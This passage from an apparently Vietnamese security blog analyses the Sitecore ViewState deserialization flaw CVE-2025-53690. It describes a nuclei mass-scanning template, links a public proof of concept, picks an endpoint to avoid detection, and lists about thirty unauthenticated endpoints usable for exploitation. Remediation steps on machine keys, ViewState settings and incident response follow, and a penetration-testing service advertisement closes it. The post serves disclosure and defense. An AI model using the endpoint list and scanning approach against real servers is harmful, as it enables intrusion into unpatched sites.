Từ payload cơ bản, chỉ modify Response Header như đã mô tả ở phần trên, ta có thể viết một template nuclei để scan hàng loạt bằng cách gửi VIEWSTATE gen được và match xem trong response có chứa string mà ta define không.

Template nằm ở đây: https://github.com/ErikLearningSec/CVE-2025-53690-POC

Trong template này mình sẽ viết khác đi một chút. Thay vì khai thác bằng endpoint /blocked.aspx, mình sẽ khai thác bằng endpoint /sitecore/default.aspx vì đây là endpoint luôn luôn có trên các instance sitecore ⇒ tăng tỉ lệ scan trúng và sẽ hạn chế bị detect.

Cơm thêm 2

Mặc dù toàn bộ bài phân tích dựa trên việc tấn công vào endpoint /sitecore/blocked.aspx theo như blog của Mandiant. Tuy nhiên, ta còn có thể khai thác bằng các endpoint khác, miễn là unauth và có chứa VIEWSTATE trong response.

Sau khi list ra các file aspx trong thư mục webroot và fuzz với intruder thì ta có được list endpoint sau thoả điều kiện trên:

/Default.aspx
/layouts/Sample layout.aspx
/layouts/system/VIChecker.aspx
/layouts/system/VisitorIdentificationCss.aspx
/sitecore/default.aspx
/sitecore/debug/default.aspx
/sitecore/login/default.aspx
/sitecore/service/error.aspx
/sitecore/service/Heartbeat.aspx
/sitecore/service/keepalive.aspx
/sitecore/service/noaccess.aspx
/sitecore/service/nolayout.aspx
/sitecore/service/nolicense.aspx
/sitecore/service/noPublishable.aspx
/sitecore/service/notfound.aspx
/sitecore/service/xdb/disabled.aspx
/sitecore modules/Web/EXM/ConfirmSubscription.aspx
/sitecore modules/Web/EXM/ListUnsubscribe.aspx
/sitecore modules/Web/EXM/RedirectUrlPage.aspx
/sitecore modules/Web/EXM/Unsubscribe.aspx
/sitecore modules/Web/EXM/UnsubscribeFromAll.aspx
/sitecore modules/Web/EXM/layouts/Single Column Layout.aspx
/sitecore modules/Web/EXM/layouts/Text Message Layout.aspx
/sitecore modules/Web/EXM/layouts/Two Column Layout.aspx
/sitecore modules/Web/EXM/layouts/Templates/Alternating Columns.aspx
/sitecore modules/Web/EXM/layouts/Templates/Call To Action Focus.aspx
/sitecore modules/Web/EXM/layouts/Templates/Image Focus.aspx
/sitecore modules/Web/EXM/layouts/Templates/Main Layout.aspx
/sitecore modules/Web/EXM/layouts/Templates/Thee Column Long.aspx
/sitecore modules/Web/EXM/layouts/Templates/Two Column.aspx
/sitecore modules/Web/ExperienceExplorer/Controls/ExpEditor.aspx
/sitecore modules/Web/ExperienceExplorer/Controls/ExpViewer.aspx

Exploit thành công trên endpoint keepalive

Biện pháp khắc phục

Để ngăn chặn việc khai thác lỗ hổng nghiêm trọng này trong các instance Sitecore, quản trị viên và lập trình viên cần triển khai ngay các biện pháp khắc phục và gia cố sau:

1. Thay thế toàn bộ Machine Key mẫu hoặc mặc định

  • Sinh Machine Key duy nhất cho từng instance Sitecore.

    Tuyệt đối không sử dụng các Machine Key mẫu được cung cấp trong tài liệu hướng dẫn cũ của Sitecore hoặc bất kỳ nguồn công khai nào.

  • Có thể sử dụng công cụ của Microsoft hoặc PowerShell để tạo key:

    New-Guid | % { $_.ToString("N").ToUpper() }
    
  • Cấu hình trong web.config dưới thẻ <system.web> với thuật toán mạnh:

    validationKey="autoGenerate,IsolateApps"
    decryptionKey="autoGenerate,IsolateApps"
    validation="HMACSHA256"
    decryption="AES"
    

2. Kiểm tra toàn bộ các instance Sitecore hiện có

  • Tìm kiếm trong môi trường các cấu hình machineKey có giá trị trùng với key công khai (ví dụ: bắt đầu bằng BDDFE367CD… hoặc 0DAC68D020…).
  • Ngay lập tức thay đổi và triển khai lại các instance bị ảnh hưởng.
  • Nếu không chắc chắn, hãy xoay vòng và tạo mới toàn bộ key để đảm bảo tính duy nhất.

3. Cấu hình ViewState an toàn

  • Đặt ViewStateEncryptionMode="Always" và bật xác thực MAC:

    <pages enableViewStateMac="true" viewStateEncryptionMode="Always" />
    
  • Vô hiệu hoá ViewState cho các trang không cần lưu trạng thái.
  • Sử dụng ViewStateUserKey gắn với phiên (session) hoặc định danh người dùng để ngăn tấn công replay.

4. Bật giám sát và ghi log

  • Kích hoạt log chi tiết và audit cho toàn bộ các trang .aspx.
  • Theo dõi các ViewState bất thường (kích thước lớn, chuỗi Base64 dài).

5. Cô lập và xử lý hệ thống bị xâm nhập

  • Nếu phát hiện dấu hiệu bị khai thác:
    • Ngắt kết nối máy chủ bị ảnh hưởng khỏi mạng.
    • Thay đổi toàn bộ mật khẩu và API Key được lưu trong Sitecore.
    • Tiến hành phân tích để phát hiện các cơ chế duy trì truy cập (ví dụ: MemShell trong bộ nhớ).

6. Kiểm thử bảo mật định kỳ

Để đảm bảo hệ thống của bạn luôn an toàn trước các rủi ro phát sinh, hãy duy trì kiểm thử bảo mật định kỳ. Nếu doanh nghiệp của bạn chưa có đội ngũ chuyên trách hoặc muốn được hỗ trợ bởi chuyên gia, hãy tham khảo dịch vụ kiểm thử bảo mật toàn diện tại đây: https://sec.vnpt.vn/dich-vu

Chúng tôi cung cấp các giải pháp giả lập, mô phỏng các cuộc tấn công thực tế nhằm xác định điểm yếu bảo mật của hệ thống, từ đó đưa ra phân tích ảnh hưởng của lỗ hổng và đề xuất phương án khắc phục hiệu quả.

2 lượt xem